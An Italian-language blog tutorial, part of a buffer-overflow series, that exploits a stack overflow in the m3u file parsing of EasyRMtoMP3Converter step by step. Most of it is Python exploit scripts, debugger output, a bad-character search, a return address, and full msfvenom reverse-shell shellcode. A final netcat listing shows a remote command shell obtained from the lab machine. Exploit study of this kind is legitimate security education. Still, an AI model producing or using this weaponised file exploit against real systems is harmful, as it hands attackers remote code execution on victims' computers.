Stack Buffer Overflow IV - EasyRMtoMP3Converter

Tempo di lettura: 12 minuti
Data pubblicazione: September 26, 2022

Introduzione

Quarto articolo della serie Buffer Overflow, target: EasyRMtoMP3Converter

Altri post in questa serie:

  1. Stack Buffer Overflow I - Vulnerserver TRUN
  2. Stack Buffer Overflow II - Brainpan
  3. Stack Buffer Overflow III - dostackbufferoverflowgood
  4. Stack Buffer Overflow IV - EasyRMtoMP3Converter
  5. Stack Buffer Overflow V - Disk Sorter Enterprise 9.5.12

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

EasyRMtoMP3Converter

EasyRMtoMP3Converter è un programma utilizzato ai tempi di Windows XP per convertire formati audio. In questo caso la vulnerabilità è locale e si trova nel parsing di un file m3u.

Crash Iniziale

Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo file che lo manderà in crash.

#!/usr/bin/python 

file = "crash1.m3u"
f = open(file , "w")

CRASH_LEN = 30000  # change me

junk = "A" * CRASH_LEN
f.write(junk)
f.close()

Identificare l’offset

Poiché 30000 caratteri creati con mona potrebbero portare a falsi positivi, divido la lunghezza del crash in più parti, in modo da avvicinarmi all’offset manualmente.

#!/usr/bin/python 

file = "crash1.m3u"
f = open(file , "w")

CRASH_LEN = 30000  # change me

payload = "A"*20000
payload += "B"*10000

f.write(payload)
f.close()

Le B hanno sovrascritto l’EIP, quindi l’overwrite è dopo i 20000. Divido ancora una volta

#!/usr/bin/python 

file = "crash1.m3u"
f = open(file , "w")

CRASH_LEN = 30000  # change me

payload = "A"*20000
payload += "B"*5000
payload += "C"*5000

f.write(payload)
f.close()

Ora che ho un punto più preciso posso creare con pattern_create di mona il mio pattern casuale

!py mona pc 5000

Riavvio Easy e aggiorno lo script inserendo il pattern di 5000

#!/usr/bin/python 

file = "crash1.m3u"
f = open(file , "w")

CRASH_LEN = 30000  # change me

payload = "A"*25000
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak..."

f.write(payload)
f.close()

Troviamo l’offset preciso con pattern_offset, il quale cerca un preciso pattern all’interno della memoria

0:000> !py mona po 0x38694237 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x38694237
Looking for 7Bi8 in pattern of 500000 bytes
- Pattern 7Bi8 (0x38694237) found in cyclic pattern at position 1043
Looking for 7Bi8 in pattern of 500000 bytes

Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)

#!/usr/bin/python 

file = "crash1.m3u"
f = open(file , "w")

CRASH_LEN = 30000  # change me

payload = "A" * 26043  # 25000 + 1043
payload += "B" * 4
payload += "C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

#!/usr/bin/python 

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

#\x00 
bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = b"A" * 26043
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Non ci sono più i primi 4 byte. Questo può essere dovuto a due cose:

  • Tra i quattro byte ce n’è uno che non viene accettato (magari \x03)
  • C’è un salto di 4 byte e su ESP troviamo da \x05 in poi.

Provo a seguire la seconda opzione, inserendo 4 NOP (\x90) e rilanciando lo stesso script

-----------
payload = b"A" * 26043
payload += b"B" * 4
payload += b"\x90" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
-----------

Vediamo ora che dopo \x08 non c’è più nulla, quindi probabilmente \x09 è un bad char. Lo tolgo e ripeto fino a che non li identifico tutti

Tolto #\x00\x09\x0a

0:000> db esp L100
0011f430  01 02 03 04 05 06 07 08-0b 0c 0d 0e 0f 10 11 12  ................
0011f440  13 14 15 16 17 18 19 1a-1b 1c 1d 1e 1f 20 21 22  ............. !"
0011f450  23 24 25 26 27 28 29 2a-2b 2c 2d 2e 2f 30 31 32  #$%&'()*+,-./012
0011f460  33 34 35 36 37 38 39 3a-3b 3c 3d 3e 3f 40 41 42  3456789:;<=>?@AB
0011f470  43 44 45 46 47 48 49 4a-4b 4c 4d 4e 4f 50 51 52  CDEFGHIJKLMNOPQR
0011f480  53 54 55 56 57 58 59 5a-5b 5c 5d 5e 5f 60 61 62  STUVWXYZ[\]^_`ab
0011f490  63 64 65 66 67 68 69 6a-6b 6c 6d 6e 6f 70 71 72  cdefghijklmnopqr
0011f4a0  73 74 75 76 77 78 79 7a-7b 7c 7d 7e 7f 80 81 82  stuvwxyz{|}~....
0011f4b0  83 84 85 86 87 88 89 8a-8b 8c 8d 8e 8f 90 91 92  ................
0011f4c0  93 94 95 96 97 98 99 9a-9b 9c 9d 9e 9f a0 a1 a2  ................
0011f4d0  a3 a4 a5 a6 a7 a8 a9 aa-ab ac ad ae af b0 b1 b2  ................
0011f4e0  b3 b4 b5 b6 b7 b8 b9 ba-bb bc bd be bf c0 c1 c2  ................
0011f4f0  c3 c4 c5 c6 c7 c8 c9 ca-cb cc cd ce cf d0 d1 d2  ................
0011f500  d3 d4 d5 d6 d7 d8 d9 da-db dc dd de df e0 e1 e2  ................
0011f510  e3 e4 e5 e6 e7 e8 e9 ea-eb ec ed ee ef f0 f1 f2  ................
0011f520  f3 f4 f5 f6 f7 f8 f9 fa-fb fc fd fe ff 43 43 43  .............CCC

Ora ci sono tutti, quindi sarà sufficente tenere lo sled di 4. Il NOP Sled sono istruzioni dette “no operation” nelle quali la CPU fa una sorta di slide (scivolo) e le supera ignorandole completamente (Wikipedia).

Saltare allo shellcode

L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, per ora proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione il comando con mona è il seguente (escludendo \x00)

0:000> !py mona jmp -r esp -cpb '\x00\x09\x0a' 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00\x09\x0a'

---------- Mona command started on 2022-09-03 18:03:59 (v2.0, rev 616) ----------
    - Number of pointers of type 'push esp # ret ' : 1 
[+] Results : 
0x1001b058 |   0x1001b058 : push esp # ret  |  {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)

In questo caso non ci sono JMP ESP ma solo un PUSH ESP; RET. Nella pratica la differenza è minima, poichè con questa istruzione viene:

  1. pushato il registro ESP sullo stack (in cima).
  2. eseguita la ret. Essa prende l’indirizzo appena pushato e fa un jump ad esso.

Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x1001b058), in modo da vedere se è tutto a posto.

#!/usr/bin/python 
import struct

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

#\x00\x09\x0a
payload = b"A" * 26043
payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
payload += b"\x90" * 4
payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()

Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto.

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0a' EXITFUNC=threadd

Il codice finale sarà

#!/usr/bin/python 
import struct

file = "crash1.m3u"
f = open(file , "wb")

CRASH_LEN = 30000  # change me

#\x00\x09\x0a
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x09\x0a' EXITFUNC=thread
shellcode =  b""                                                                                                                                                                                                                           
shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"                             
shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"                             
shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"                             
shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"                             
shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"                             
shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"                             
shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"                             
shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"                            
shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"

payload = b"A" * 26043
payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
payload += b"\x90" * 4
payload += b"\x90" * 20
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))

f.write(payload)
f.close()
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 26811
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Easy RM to MP3 Converter>

Conclusioni

In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: